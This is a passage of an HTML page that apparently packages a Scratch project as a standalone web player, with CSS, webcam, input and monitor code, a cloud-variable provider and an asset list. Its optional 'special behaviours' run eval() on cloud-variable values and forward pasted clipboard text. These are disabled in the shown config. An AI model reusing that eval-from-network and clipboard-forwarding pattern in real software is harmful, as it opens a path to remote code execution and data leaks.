fill="%23fff"/%3E%3C/svg%3E%0A');}#fullscreen-btn { background-image: url('data:image/svg+xml,%3Csvg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"%3E%3Cpath d="M14 28h-4v10h10v-4h-6v-6zm-4-8h4v-6h6v-4H10v10zm24 14h-6v4h10V28h-4v6zm-6-24v4h6v6h4V10H28z" fill="%23fff"/%3E%3C/svg%3E');}.fullscreen #fullscreen-btn { background-image: url('data:image/svg+xml,%3Csvg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"%3E%3Cpath d="M10 32h6v6h4V28H10v4zm6-16h-6v4h10V10h-4v6zm12 22h4v-6h6v-4H28v10zm4-22v-6h-4v10h10v-4h-6z" fill="%23fff"/%3E%3C/svg%3E');}#download-btn { background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='%23fff'%3E%3Cpath d='M5,20h14v-2H5V20z M19,9h-4V3H9v6H5l7,7L19,9z'/%3E%3C/svg%3E");}#add-sprite-btn { background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='%23fff'%3E%3Cpath d='M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-2 10h-4v4h-2v-4H7v-2h4V7h2v4h4v2z'/%3E%3C/svg%3E");}#add-sprite-file { display: none; clip: rect(0 0 0 0); clip-path: inset(50%); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px;}.show-start-stop-btns #start-btn,.show-start-stop-btns #stop-btn,.show-fullscreen-btn #fullscreen-btn,.show-download-btn #download-btn,.show-add-sprite-btn #add-sprite-btn,.show-add-sprite-btn #add-sprite-file { display: inline-block;}.monitor { position: absolute; border: 1px solid transparent; border-radius: 0.25rem; font-size: 0.75rem; overflow: hidden; padding: 3px; white-space: pre;}.show-monitor-box .monitor { border-color: rgba(0, 0, 0, 0.2); background-color: rgba(0, 0, 0, 0.3);}.monitor-label { margin: 0 5px; font-weight: bold;}.monitor-value { display: inline-block; vertical-align: top; min-width: 34px; text-align: center; border-radius: 0.25rem; overflow: hidden; text-overflow: ellipsis; user-select: text; transform: translateZ(0);}.default .monitor-value,.slider .monitor-value { margin: 0 5px; padding: 1px 3px;}.show-monitor-box .default .monitor-value,.show-monitor-box .slider .monitor-value { background-color: rgba(0, 0, 0, 0.5);}.large { padding: 0.1rem 0.25rem; min-width: 3rem;}.show-monitor-box .large { background-color: rgba(0, 0, 0, 0.6);}.large .monitor-label { display: none;}.large .monitor-value { font-size: 1rem; width: 100%;}.list { padding: 0; overflow: auto; overflow-x: hidden;}.list .monitor-label { text-align: center; padding: 3px; width: 100%; display: block; margin: 0; box-sizing: border-box; white-space: pre-wrap;}.list .monitor-value { display: block;}.row { display: flex; align-items: center; padding: 2px; height: 24px; box-sizing: border-box; transform: translateZ(0);}.index { font-weight: bold; margin: 0 3px; flex: none;}.row-value { flex: auto; margin: 0 3px; text-align: left; border-radius: 0.25rem; border: 1px solid transparent; height: 22px; padding: 3px 5px; box-sizing: border-box; overflow: hidden; text-overflow: ellipsis;}.show-monitor-box .row-value { border-color: rgba(0, 0, 0, 0.2); background-color: rgba(0, 0, 0, 0.5);}.slider input { display: block; width: 100%; transform: translateZ(0);}#asking-box { display: none; position: absolute; left: 0; bottom: 0; right: 0; background-color: rgba(33, 33, 33, 0.7);}.asking #asking-box { display: block;}#question { display: block; margin: 0 10px; margin-top: 10px; font-size: 12px; color: white;}#answer { border: none; background: none; width: 100%; font: inherit; font-size: 16px; color: white; padding: 10px; box-sizing: border-box;}#answer:focus { outline: none;}#errors { -webkit-appearance: none; border: none; background: rgba(255, 0, 0, 0.7); color: white; position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 1000; display: none;}
</style> <style>#loading-progress {border: 1px solid #00ffff;}#loading-progress::before {color: #00ffff;}#loading-progress::after {background-color: #00ffff;}.monitor {color: #ffffff;}</style> </head> <body class="loading stretch-stage show-loading-progress stretch-loading-image show-fullscreen-btn show-monitor-box">
<script src="/assets/js/notifications.js"></script><script src="/assets/js/game-save-sync.js"></script>
<div id="wrapper"> <canvas id="stage"></canvas> <div id="monitors"></div> <div id="asking-box"> <label id="question" for="answer">Question</label> <input type="text" id="answer" /> </div> </div> <div id="loading-progress" data-progress="0%"></div> <div class="buttons"> <input type="file" id="add-sprite-file" accept=".sprite2, .sprite3" aria-label="Select a Scratch sprite to add" multiple /> <label class="button" id="add-sprite-btn" for="add-sprite-file" title="Add Scratch sprite to project" ></label> <button id="download-btn" aria-label="Download Scratch project"></button> <button id="start-btn" aria-label="Start"></button> <button id="stop-btn" aria-label="Stop" disabled></button> <button id="fullscreen-btn" aria-label="Enter/exit fullscreen"></button> </div> <textarea id="errors" readonly></textarea> <script src="project/vm.js"></script> <script>const noop = () => null
window.Scratch = { get vm () { return window.vm }, get renderer () { return window.vm.runtime.renderer }, get audioEngine () { return window.vm.runtime.audioEngine }, get bitmapAdapter () { return window.vm.runtime.v2BitmapAdapter }, get videoProvider () { return window.vm.runtime.ioDevices.video.provider }}
const CLOUD_PREFIX = '\u2601 'window.setCloud = (name, value) => { vm.postIOData('cloud', { varUpdate: { name: CLOUD_PREFIX + name, value } })}function postError (err) { setCloud('eval error', err.toString())}
class CloudProvider { constructor (options) { this._serverUrl = options.cloud.serverUrl this._specialBehaviours = options.cloud.specialBehaviours this._options = options
this._ws = null
this.createVariable = noop this.renameVariable = noop this.deleteVariable = noop
this._handleMessage = event => { event.data.split('\n').forEach(message => { if (message) { const { name, value } = JSON.parse(message) vm.postIOData('cloud', { varUpdate: { name, value } }) } }) } this._handleOpen = () => { this._sendData({ method: 'handshake' }) } this._handleClose = () => { setTimeout(() => this._openConnection(), 500) }
this.handleUrlChange = () => { setCloud('url', window.location.href) } if (this._specialBehaviours) { window.addEventListener('hashchange', this.handleUrlChange) window.addEventListener('popstate', this.handleUrlChange) // Paste output window.addEventListener('paste', event => { setCloud( 'pasted', (event.clipboardData || window.clipboardData).getData('text') ) }) }
if (this._serverUrl) { this._openConnection() } }
_openConnection () { try { this._ws = new WebSocket(this._serverUrl) } catch (error) { console.warn(error) return } this._ws.onmessage = this._handleMessage this._ws.onopen = this._handleOpen this._ws.onclose = this._handleClose }
_sendData (data) { data.user = this._options.username data.project_id = this._options.cloud.projectId this._ws.send(JSON.stringify(data) + '\n') }
updateVariable (name, value) { if (this._specialBehaviours) { let matched = true if (name === CLOUD_PREFIX + 'eval') { try { Promise.resolve(eval(value)) .then(output => { setCloud('eval output', output) }) .catch(postError) } catch (error) { postError(error) } } else if (name === CLOUD_PREFIX + 'open link') { try { window.open(value, '_blank') } catch (error) { postError(error) } } else if (name === CLOUD_PREFIX + 'redirect') { window.location = value } else if (name === CLOUD_PREFIX + 'set clipboard') { try { navigator.clipboard.writeText(value).catch(postError) } catch (error) { postError(error) } } else if (name === CLOUD_PREFIX + 'set server ip') { this._cloudHost = value if (this._ws) { this._ws.onclose = noop this._ws.close() } this._openConnection() } else if (name === CLOUD_PREFIX + 'username') { this._options.username = value vm.postIOData('userData', { username: value }) } else { matched = false } if (matched) { return } } if ( !this._serverUrl || (this._specialBehaviours && name.startsWith(CLOUD_PREFIX + 'local storage')) ) { try { localStorage.setItem('[s3] ' + name, value) } catch (error) { postError(error) } } else { this._sendData({ method: 'set', name, value }) } }
requestCloseConnection () { if ( this._ws && this._ws.readyState !== WebSocket.CLOSING && this._ws.readyState !== WebSocket.CLOSED ) { this._ws.onclose = noop this._ws.close() } }}
// Based on// https://github.com/LLK/scratch-gui/blob/7b658c60c7c04055e575601a861195fe6c9933f3/src/lib/video/camera.js// https://github.com/LLK/scratch-gui/blob/7b658c60c7c04055e575601a861195fe6c9933f3/src/lib/video/video-provider.jsclass VideoProvider { constructor (width, height) { this._dimensions = [width, height] this.mirror = true this._frameCacheTimeout = 16 this._video = null this._track = null this._workspace = [] }
get video () { return this._video }
enableVideo () { this.enabled = true return this._setupVideo() }
disableVideo () { this.enabled = false if (this._singleSetup) { this._singleSetup .then(this._teardown.bind(this)) .catch(err => this.onError(err)) } }
_teardown () { if (this.enabled === false) { requestStack.pop() const disableTrack = requestStack.length === 0 this._singleSetup = null this._video = null if (this._track && disableTrack) { this._track.stop() } this._track = null } }
getFrame ({ dimensions = this._dimensions, mirror = this.mirror, format = 'image-data', cacheTimeout = this._frameCacheTimeout }) { if (!this.videoReady) { return null } const [width, height] = dimensions const workspace = this._getWorkspace({ dimensions, mirror: Boolean(mirror) }) const { videoWidth, videoHeight } = this._video const { canvas, context, lastUpdate, cacheData } = workspace const now = Date.now()
if (lastUpdate + cacheTimeout < now) { if (mirror) { context.scale(-1, 1) context.translate(width * -1, 0) }
context.drawImage( this._video, 0, 0, videoWidth, videoHeight, 0, 0, width, height )
context.setTransform(1, 0, 0, 1, 0, 0) workspace.lastUpdate = now }
if (!cacheData[format]) { cacheData[format] = { lastUpdate: 0 } } const formatCache = cacheData[format]
if (formatCache.lastUpdate + cacheTimeout < now) { if (format === 'image-data') { formatCache.lastData = context.getImageData(0, 0, width, height) } else if (format === 'canvas') { formatCache.lastUpdate = Infinity formatCache.lastData = canvas } else { console.error(`video io error - unimplemented format ${format}`) formatCache.lastUpdate = Infinity formatCache.lastData = null }
formatCache.lastUpdate = Math.max( workspace.lastUpdate, formatCache.lastUpdate ) }
return formatCache.lastData }
onError (error) { console.error('Unhandled video io device error', error) }
_setupVideo () { if (this._singleSetup) { return this._singleSetup }
if (requestStack.length === 0) { this._singleSetup = navigator.mediaDevices.getUserMedia({ audio: false, video: { width: { min: width, ideal: (480 * width) / height }, height: { min: height, ideal: 480 } } }) requestStack.push(streamPromise) } else if (requestStack.length > 0) { this._singleSetup = requestStack[0] requestStack.push(true) } this._singleSetup .then(stream => { this._video = document.createElement('video')
try { this._video.srcObject = stream } catch (_error) { this._video.src = window.URL.createObjectURL(stream) } this._video.play() this._track = stream.getTracks()[0] return this }) .catch(error => { this._singleSetup = null this.onError(error) })
return this._singleSetup }
get videoReady () { if (!this.enabled || !this._video || !this._track) { return false } const { videoWidth, videoHeight } = this._video return ( typeof videoWidth === 'number' && typeof videoHeight === 'number' && videoWidth > 0 && videoHeight > 0 ) }
_getWorkspace ({ dimensions, mirror }) { let workspace = this._workspace.find( space => space.dimensions.join('-') === dimensions.join('-') && space.mirror === mirror ) if (!workspace) { workspace = { dimensions, mirror, canvas: document.createElement('canvas'), lastUpdate: 0, cacheData: {} } workspace.canvas.width = dimensions[0] workspace.canvas.height = dimensions[1] workspace.context = workspace.canvas.getContext('2d') this._workspace.push(workspace) } return workspace }}
const fullscreenBtn = document.getElementById('fullscreen-btn')const exitFullscreen = document.exitFullscreen || document.msExitFullscreen || document.mozCancelFullScreen || document.webkitExitFullscreenconst requestFullscreen = document.body.requestFullscreen || document.body.msRequestFullscreen || document.body.mozRequestFullScreen || document.body.webkitRequestFullscreenfunction isFullscreen () { return ( document.fullscreenElement || document.mozFullScreenElement || document.webkitFullscreenElement || document.msFullscreenElement )}function toggleFullscreen () { if (isFullscreen()) { exitFullscreen.call(document) } else { requestFullscreen.call(document.body) }}fullscreenBtn.addEventListener('click', () => { fullscreenBtn.blur() toggleFullscreen()})function handleFullscreenChange () { if (isFullscreen()) { document.body.classList.add('fullscreen') } else { document.body.classList.remove('fullscreen') }}document.addEventListener('fullscreenchange', handleFullscreenChange)document.addEventListener('mozfullscreenchange', handleFullscreenChange)document.addEventListener('webkitfullscreenchange', handleFullscreenChange)document.addEventListener('msfullscreenchange', handleFullscreenChange)
window.init = async ({ width, height, ...options }) => { window.vm = new window.NotVirtualMachine(width, height) vm.setCompatibilityMode(options.fps) vm.setTurboMode(options.turbo) vm.requireLimits(options.limits, { fencing: options.fencing })
const storage = new ScratchStorage() const AssetType = storage.AssetType if (options.assets.project) { storage.addWebStore([AssetType.Project], () => options.assets.project) storage.addWebStore( [AssetType.ImageVector, AssetType.ImageBitmap, AssetType.Sound], ({ assetId, dataFormat }) => options.assets[`${assetId}.${dataFormat}`] ) } const progress = document.getElementById('loading-progress') if (options.loadingProgress) { const _load = storage.webHelper.load let total = 0, complete = 0 storage.webHelper.load = function (...args) { const result = _load.call(this, ...args) total += 1 const percentage = (complete / total) * 100 progress.dataset.progress = percentage.toFixed(2) + '%' progress.style.setProperty('--progress', percentage + '%') result.then(() => { complete += 1 const percentage = (complete / total) * 100 progress.dataset.progress = percentage.toFixed(2) + '%' progress.style.setProperty('--progress', percentage + '%') }) return result } } vm.attachStorage(storage)
function resize () { const rect = canvas.getBoundingClientRect() renderer.resize(rect.width, rect.height) if (options.stretchStage) { monitorWrapper.style.transform = `scaleX(${rect.width / width}) scaleY(${rect.height / height})` } else { monitorWrapper.style.transform = `scale(${rect.height / height})` } } const monitorWrapper = document.getElementById('monitors') const canvas = document.getElementById('stage') const renderer = new window.ScratchRender( canvas, -width / 2, width / 2, -height / 2, height / 2 ) resize() vm.attachRenderer(renderer)
vm.attachAudioEngine(new window.AudioEngine()) vm.attachV2BitmapAdapter( new ScratchSVGRenderer.BitmapAdapter(null, null, width, height) ) vm.setVideoProvider(new VideoProvider(width, height)) vm.start()
if (options.extensionCount > 0) { const OldWorker = window.Worker window.Worker = class extends OldWorker { // deno-lint-ignore constructor-super constructor (...args) { if (args[0].endsWith('extension-worker.js')) { if (options.extensionWorker.url) { super(options.extensionWorker.url, ...args.slice(1)) } else { super( URL.createObjectURL( new Blob([options.extensionWorker.script], { type: 'text/javascript' }) ), ...args.slice(1) ) } } else { super(...args) } } } }
/* https://github.com/LLK/scratch-gui/blob/develop/src/containers/stage.jsx#L176-L300 */ const getEventXY = e => { if (e.touches && e.touches[0]) { return { x: e.touches[0].clientX, y: e.touches[0].clientY } } else if (e.changedTouches && e.changedTouches[0]) { return { x: e.changedTouches[0].clientX, y: e.changedTouches[0].clientY } } return { x: e.clientX, y: e.clientY } } let mouseDown = false let mouseDownPosition = null let mouseDownTimeoutId = null let isDragging = false let dragId = null let dragOffset = null function cancelMouseDownTimeout () { if (mouseDownTimeoutId !== null) { clearTimeout(mouseDownTimeoutId) } mouseDownTimeoutId = null } // https://github.com/LLK/scratch-gui/blob/develop/src/containers/stage.jsx#L337-L366 function handleStartDrag () { if (dragId || !mouseDownPosition) return const drawableId = renderer.pick(mouseDownPosition.x, mouseDownPosition.y) if (drawableId === null) return const targetId = vm.getTargetIdForDrawableId(drawableId) if (targetId === null) return const target = vm.runtime.getTargetById(targetId) if (!target || !target.draggable) return target.goToFront() const drawableData = renderer.extractDrawable( drawableId, mouseDownPosition.x, mouseDownPosition.y ) vm.startDrag(targetId) isDragging = true dragId = targetId dragOffset = drawableData.scratchOffset } const accumulative = { x: 0, y: 0 } function postIfPointerLocked (e, isDown) { if ( document.pointerLockElement === canvas || document.mozPointerLockElement === canvas ) { accumulative.x += e.movementX accumulative.y += e.movementY vm.postIOData('mouse', { isDown, x: accumulative.x + width / 2, y: accumulative.y + height / 2, canvasWidth: width, canvasHeight: height }) return true } else { return false } } function postMouse (event, isDown) { const { x, y } = getEventXY(event) const rect = canvas.getBoundingClientRect() const mousePosition = { x: x - rect.left, y: y - rect.top } vm.postIOData('mouse', { isDown, ...mousePosition, canvasWidth: rect.width, canvasHeight: rect.height }) return { mousePosition, rect } } function handleMouseMove (event) { if (postIfPointerLocked(event)) return const { mousePosition, rect } = postMouse(event) if (mouseDown && !isDragging) { const distanceFromMouseDown = Math.hypot( mousePosition.x - mouseDownPosition.x, mousePosition.y - mouseDownPosition.y ) if (distanceFromMouseDown > 3) { cancelMouseDownTimeout() handleStartDrag() } } if (mouseDown && isDragging) { const nativeSize = renderer.getNativeSize() vm.postSpriteInfo({ x: (nativeSize[0] / rect.width) * (mousePosition.x - rect.width / 2) + dragOffset[0], y: -( (nativeSize[1] / rect.height) * (mousePosition.y - rect.height / 2) + dragOffset[1] ), force: true }) } } function handleMouseDown (event) { mouseDown = true vm.postIOData('keyboard', { key: 'Mouse' + event.which, isDown: true }) if (postIfPointerLocked(event, true)) return mouseDownPosition = postMouse(event, true).mousePosition mouseDownTimeoutId = setTimeout(handleStartDrag, 400) event.preventDefault() if (!document.body.classList.contains('asking')) { window.focus() } } function handleMouseUp (event) { cancelMouseDownTimeout() mouseDown = false mouseDownPosition = null if (isDragging) { vm.stopDrag(dragId) isDragging = false dragOffset = null dragId = null } vm.postIOData('keyboard', { key: 'Mouse' + event.which, isDown: false }) if (postIfPointerLocked(event, false)) return postMouse(event, false) } document.addEventListener('mousemove', handleMouseMove) document.addEventListener('mouseup', handleMouseUp) document.addEventListener('touchmove', handleMouseMove) document.addEventListener('touchend', handleMouseUp, { passive: false }) canvas.addEventListener('wheel', event => { vm.postIOData('mouseWheel', event) event.preventDefault() }) window.addEventListener('resize', resize) canvas.addEventListener('contextmenu', event => { event.preventDefault() }) if (options.pointerLock) { canvas.requestPointerLock = canvas.requestPointerLock || canvas.mozRequestPointerLock canvas.addEventListener('click', () => { canvas.requestPointerLock() }) }
/** * Maps e.key to e.code. For example, Shift -> ShiftRight. This is because the * keyup event doesn't fire when you let go of one shift if the other shift * key is still held down. */ const keyToCode = new Map() function postKey (event, isDown) { const key = !event.key || event.key === 'Dead' ? event.keyCode : event.key vm.postIOData('keyboard', { key: key, isDown }) vm.postIOData('keyboard', { key: 'code_' + event.code, isDown }) } document.addEventListener('keydown', event => { if (event.target !== document && event.target !== document.body) return const prevCode = keyToCode.get(event.key) if (prevCode) { if (prevCode !== event.code) { vm.postIOData('keyboard', { key: 'code_' + prevCode, isDown: false }) } } postKey(event, true) keyToCode.set(event.key, event.code) if (event.keyCode === 32 || (event.keyCode >= 37 && event.keyCode <= 40)) { event.preventDefault() } if ( event.key === 'f' && (event.ctrlKey || event.metaKey) && !event.shiftKey && !event.altKey ) { toggleFullscreen() event.preventDefault() } }) document.addEventListener('keyup', e => { postKey(e, false) keyToCode.delete(e.key) if (e.target !== document && e.target !== document.body) { e.preventDefault() } }) vm.postIOData('keyboard', { key: 'HTMLifier', isDown: true })
const question = document.getElementById('question') const askBox = document.getElementById('answer') vm.runtime.addListener('QUESTION', questionData => { // null means the question was interrupted by stop script block if (questionData === null) { document.body.classList.remove('asking') } else { document.body.classList.add('asking') question.textContent = questionData askBox.value = '' askBox.focus() } }) askBox.addEventListener('keydown', event => { if (event.key === 'Enter') { // The asking class must be removed first because the VM may start the // next question immediately inside the .emit call document.body.classList.remove('asking') vm.runtime.emit('ANSWER', askBox.value) } })
const getVariable = (targetId, variableId) => { const target = targetId ? vm.runtime.getTargetById(targetId) : vm.runtime.getTargetForStage() return target.variables[variableId] } const monitorStates = {} vm.runtime.addListener('MONITORS_UPDATE', monitors => { monitors.forEach((record, id) => { const { value, visible, mode, x, y, width, height, params, opcode, spriteName, sliderMin, sliderMax, isDiscrete, targetId } = record
if (!monitorStates[id]) { const label = document.createElement('span') label.className = 'monitor-label' const name = params.VARIABLE || params.LIST || opcode label.textContent = spriteName ? `${spriteName}: ${name}` : name
const value = document.createElement('span') value.className = 'monitor-value'
const monitor = document.createElement('div') monitor.className = 'monitor ' + mode monitor.style.left = x + 'px' monitor.style.top = y + 'px' monitor.append(label, value)
monitorStates[id] = { monitor, valueElem: value, wasVisible: true }
if (mode === 'slider') { const slider = document.createElement('input') slider.type = 'range' slider.min = sliderMin slider.max = sliderMax slider.step = isDiscrete ? 1 : 0.01 // Prevent tab focus, per #54, but it deviates from Scratch slider.tabIndex = -1 slider.addEventListener('input', () => { getVariable(targetId, id).value = slider.value }) slider.addEventListener('change', () => { getVariable(targetId, id).value = slider.value }) monitorStates[id].slider = slider monitor.append(slider) } else if (mode === 'list') { // If the list has never been resized, the width/height will be 0. // Weird! monitor.style.width = (width || 100) + 'px' monitor.style.height = (height || 200) + 'px'
monitorStates[id].rowElems = [] }
monitorWrapper.append(monitor) }
const { monitor, valueElem, wasVisible, lastValue = [], slider, rowElems } = monitorStates[id] if (visible) { if (!wasVisible) { monitor.style.display = null } const differed = Array.isArray(value) ? JSON.stringify(lastValue) !== JSON.stringify(value) : lastValue !== value if (differed) { if (Array.isArray(value)) { if (lastValue.length !== rowElems.length) { console.error( "List monitor rowElems and lastValue lengths don't match." ) }
value.forEach((val, i) => { if (i >= lastValue.length) { // Could also set width to (lastValue.length + '').length + 'ch' const index = document.createElement('div') index.className = 'index' index.textContent = i + 1
const value = document.createElement('div') value.className = 'row-value'
const row = document.createElement('div') row.className = 'row' row.append(index, value)
valueElem.append(row) rowElems[i] = value }
if (lastValue[i] !== val) { rowElems[i].textContent = val } })
if (value.length < lastValue.length) { for (const toRemove of rowElems.splice( value.length, lastValue.length - value.length )) { toRemove.parentNode.remove() } } } else { // The HTMLifier used to use Number(value.toFixed(6)) but I don't // think Scratch does that for monitors valueElem.textContent = value if (slider) { slider.value = value } } } } else if (wasVisible) { monitor.style.display = 'none' } monitorStates[id].wasVisible = visible // `value` is a live array monitorStates[id].lastValue = Array.isArray(value) ? [...value] : value }) })
vm.postIOData('userData', { username: options.username })
for (let i = 0; i < options.extensionCount; i++) { await vm.extensionManager.loadExtensionURL(String(i)) }
await vm.loadProject( options.assets.file ? await fetch(options.assets.file).then(r => r.arrayBuffer()) : typeof options.assets.project === 'string' ? await storage.load(storage.AssetType.Project).then(asset => asset.data) : // project.json was included as parsed JSON JSON.stringify(options.assets.project) )
const cloudProvider = new CloudProvider(options) vm.setCloudProvider(cloudProvider) if (options.cloud.specialBehaviours || !options.cloud.serverUrl) { const stageVariables = vm.runtime.getTargetForStage().variables for (const { name, isCloud } of Object.values(stageVariables)) { if (isCloud) { if ( options.cloud.specialBehaviours && options.cloud.serverUrl && !name.startsWith(CLOUD_PREFIX + 'local storage') ) { continue } const value = localStorage.getItem('[s3] ' + name) if (value !== null) { vm.postIOData('cloud', { varUpdate: { name, value } }) } } } } if (options.cloud.specialBehaviours) { cloudProvider.handleUrlChange() }
progress.remove() const loadingImage = document.getElementById('loading-image') if (loadingImage) { loadingImage.remove() } document.body.classList.remove('loading')
const greenFlag = document.getElementById('start-btn') const stopSign = document.getElementById('stop-btn') greenFlag.addEventListener('click', () => { greenFlag.blur() vm.greenFlag() }) stopSign.addEventListener('click', () => { stopSign.blur() vm.stopAll() }) vm.on('PROJECT_RUN_START', () => { document.body.classList.add('running') stopSign.disabled = false }) vm.on('PROJECT_RUN_STOP', () => { document.body.classList.remove('running') stopSign.disabled = true }) if (options.autoStart) { vm.greenFlag() }
document .getElementById('download-btn') .addEventListener('click', async () => { download(await vm.saveProjectSb3(), document.title + '.sb3') }) const addSpriteInput = document.getElementById('add-sprite-file') addSpriteInput.addEventListener('change', async () => { addSpriteInput.disabled = true for (const file of addSpriteInput.files) { // 1. Convert the File to an arrayBuffer. I care less about browser // support, so I can use async/await + .arrayBuffer // https://github.com/LLK/scratch-gui/blob/develop/src/lib/file-uploader.js#L25 const sprite = new Uint8Array(await file.arrayBuffer())
// 2. Convert a costume to a sprite (skipping for now) // https://github.com/LLK/scratch-gui/blob/develop/src/lib/file-uploader.js#L208
// 3. Add to VM await vm.addSprite(sprite) } addSpriteInput.disabled = false addSpriteInput.value = null })
canvas.addEventListener('mousedown', handleMouseDown) canvas.addEventListener('touchstart', handleMouseDown, { passive: false })}
const errorsTextarea = document.getElementById('errors')function handleHashChange () { // #show-errors-<Han sheep> if (window.location.hash === '#show-errors-%E7%BE%8A') { if (!window.onNewError) { window.onNewError = () => { errorsTextarea.value = `${ window.errors.length } error(s)\n${window.errors.join('\n')}` } window.onNewError() } errorsTextarea.style.display = 'block' } else if (window.onNewError) { window.onNewError = null errorsTextarea.style.display = 'none' }}window.addEventListener('hashchange', handleHashChange)handleHashChange()
// Not used by the template, but might be convenient for un-HTMLifying if I// remember this function existswindow.download = (blob, name = 'download') => { const url = URL.createObjectURL(blob) const link = document.createElement('a') link.href = url link.download = name document.body.append(link) link.click() link.remove() URL.revokeObjectURL(url)}
</script> <script>const GENERATED = 1648316752611const initOptions = { "width": 480, "height": 360, "stretchStage": true, "fps": 30, "turbo": false, "limits": true, "fencing": true, "pointerLock": false, "autoStart": true, "username": "user", "loadingProgress": true, "cloud": { "serverUrl": null, "specialBehaviours": false, "projectId": "276660763" }, "extensionWorker": { "url": "https://sheeptester.github.io/scratch-vm/16-9/extension-worker.js" }, "extensionCount": 0, "assets": { "project": "project/project.json", "f5e250886e3bafbbd9bc2398a5e321c5.png": "project/f5e250886e3bafbbd9bc2398a5e321c5.png", "e3587deeb23487f06d15e495b8459db8.png": "project/e3587deeb23487f06d15e495b8459db8.png", "8011555c303ecea3804e08913be35647.png": "project/8011555c303ecea3804e08913be35647.png", "5d4f0caaa331d0844f859b190ae88e97.png": "project/5d4f0caaa331d0844f859b190ae88e97.png", "55e52f71668045eaac39a9477b697512.png": "project/55e52f71668045eaac39a9477b697512.png", "8155834aca094b0fe112e1294c36a33a.png": "project/8155834aca094b0fe112e1294c36a33a.png", "8f3eec3c5b130d7050870917714cfb0c.png": "project/8f3eec3c5b130d7050870917714cfb0c.png", "ebd46b4e86831b2966999af97d3d2157.wav": "project/ebd46b4e86831b2966999af97d3d2157.wav", "ef1b853c62617a3c6752f8ed280e984c.wav": "project/ef1b853c62617a3c6752f8ed280e984c.wav", "4379c0f12fbaf38418e1fd4605427bf9.wav": "project/4379c0f12fbaf38418e1fd4605427bf9.wav", "ac1c0e29a1387c4d0206d78e2c66fd1f.wav": "project/ac1c0e29a1387c4d0206d78e2c66fd1f.wav", "a3b4ad9f5fb5fd4e1862d9f6ccf8a0b4.svg": "project/a3b4ad9f5fb5fd4e1862d9f6ccf8a0b4.svg", "8a2b4a6eb5bff1ceb026b9074eee6739.png": "project/8a2b4a6eb5bff1ceb026b9074eee6739.png", "83a9787d4cb6f3b7632b4ddfebf74367.wav": "project/83a9787d4cb6f3b7632b4ddfebf74367.wav", "89bdde81b527caca3e77b1133c6e4a09.png": "project/89bdde81b527caca3e77b1133c6e4a09.png", "edb969e5575dd6aace716d9f01b590c1.png": "project/edb969e5575dd6aace716d9f01b590c1.png", "bd74e059bb50787c5a2a307c2a7d1c4c.png": "project/bd74e059bb50787c5a2a307c2a7d1c4c.png", "11f8a42d0a6d788148113a55646420ec.wav": "project/11f8a42d0a6d788148113a55646420ec.wav", "3186f0cebf2f9d474eac57b09f3366f2.png": "project/3186f0cebf2f9d474eac57b09f3366f2.png", "3beb1666590d70e2362d6acfa057c080.png": "project/3beb1666590d70e2362d6acfa057c080.png", "5659800f223bb41f8877a7f3fe41299e.wav": "project/5659800f223bb41f8877a7f3fe41299e.wav", "72b4f9c163bd309a476826642e3bc386.wav": "project/72b4f9c163bd309a476826642e3bc386.wav", "8442683822456d3864c4adb65ff299dd.wav": "project/8442683822456d3864c4adb65ff299dd.wav", "19c28a3e7625354232a5e0a07a835bc2.wav": "project/19c28a3e7625354232a5e0a07a835bc2.wav", "e98e514dc9bb3d9b24581d2e7dbbc94c.wav": "project/e98e514dc9bb3d9b24581d2e7dbbc94c.wav", "76453b435c771be22ccacba9388f3151.wav": "project/76453b435c771be22ccacba9388f3151.wav", "5ed56ce96890aec9a4800505906de934.wav": "project/5ed56ce96890aec9a4800505906de934.wav", "2f7d255de983abdc6e9ecd602297bafc.png": "project/2f7d255de983abdc6e9ecd602297bafc.png", "0037bc32b697ef5ce2d714da1d2a5b54.wav": "project/0037bc32b697ef5ce2d714da1d2a5b54.wav", "00d3b3f60cf3d3a6ee59ae0f34088773.png": "project/00d3b3f60cf3d3a6ee59ae0f34088773.png", "4176bf51d75ae7f28aca1ad58ead788a.png": "project/4176bf51d75ae7f28aca1ad58ead788a.png", "0975de60fb2cf6df790b06a2369b8170.png": "project/0975de60fb2cf6df790b06a2369b8170.png", "7e8bd4c9917f5efcb40c06519a34833f.wav": "project/7e8bd4c9917f5efcb40c06519a34833f.wav", "714b86c76a6416e1946ff3115b13462f.png": "project/714b86c76a6416e1946ff3115b13462f.png", "a3c376599ba886d8fea3877ea2bcce4c.png": "project/a3c376599ba886d8fea3877ea2bcce4c.png", "e434b3e19ac1a6e39ae684b99689630b.png": "project/e434b3e19ac1a6e39ae684b99689630b.png", "c0efc08512819a807d2f8042b5ae6b85.png": "project/c0efc08512819a807d2f8042b5ae6b85.png", "f27591324665a9f6f3c438b9702a9a19.png": "project/f27591324665a9f6f3c438b9702a9a19.png", "65a279583e7b8142b4087170e3168761.png": "project/65a279583e7b8142b4087170e3168761.png", "099640b75db13bd85e89fba5e20c21ba.png": "project/099640b75db13bd85e89fba5e20c21ba.png", "f1dcdb86fa360dfc243d15c1cd942fe8.png": "project/f1dcdb86fa360dfc243d15c1cd942fe8.png", "415cbfdf37a243c78db1c4d7641f4fff.png": "project/415cbfdf37a243c78db1c4d7641f4fff.png", "a74e8f398bbbd3235e2b3106fe6504fd.png": "project/a74e8f398bbbd3235e2b3106fe6504fd.png", "12c32f1054e33f7d37d8c0fef83678e3.wav": "project/12c32f1054e33f7d37d8c0fef83678e3.wav", "831d3ee1cfbabae0a2ff1aef4884620e.wav": "project/831d3ee1cfbabae0a2ff1aef4884620e.wav", "2d55c91b9237bdef3154aceb26c84204.png": "project/2d55c91b9237bdef3154aceb26c84204.png", "56c75d65b41bf78464b8b7c38f4356ce.png": "project/56c75d65b41bf78464b8b7c38f4356ce.png", "783a84cba4647d473ff8f62176137c0f.png": "project/783a84cba4647d473ff8f62176137c0f.png", "13b2e2ffa9d1297df4c6d484f95bf204.png": "project/13b2e2ffa9d1297df4c6d484f95bf204.png", "9064d952711624d2dd1cf34dce9b2199.png": "project/9064d952711624d2dd1cf34dce9b2199.png", 